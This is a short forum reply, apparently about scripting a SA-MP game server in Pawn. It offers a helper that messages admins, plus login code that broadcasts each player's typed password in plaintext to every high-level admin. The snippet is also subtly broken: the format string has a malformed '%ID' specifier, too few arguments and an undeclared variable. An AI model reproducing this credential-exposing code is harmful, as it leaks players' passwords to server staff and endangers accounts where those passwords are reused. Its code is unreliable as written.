[IceBilizard]

Yes its simple

Add this somewhere in your script

PHP код:

SendMessageToAdmins(color, message[])
{
    for (new i = 0; i < MAX_PLAYERS; i++)
    {
        if(IsPlayerConnected(i))
        {
            if (PlayerInfo[i][AdminLevel] >= 5) SendClientMessage(i, color, message);//You can change admin system or variable with your admin system
        }
    }
} 


then use this code at your dialog login if player logged in successfully

PHP код:

new playername[64];
GetPlayerName(playerid, playername, MAX_PLAYER_NAME);
format(string, sizeof(string), "Player %s(%ID), has logged in the server with password: %s", playername, inputtext);
SendMessageToAdmins(COLOR_WHITE, string);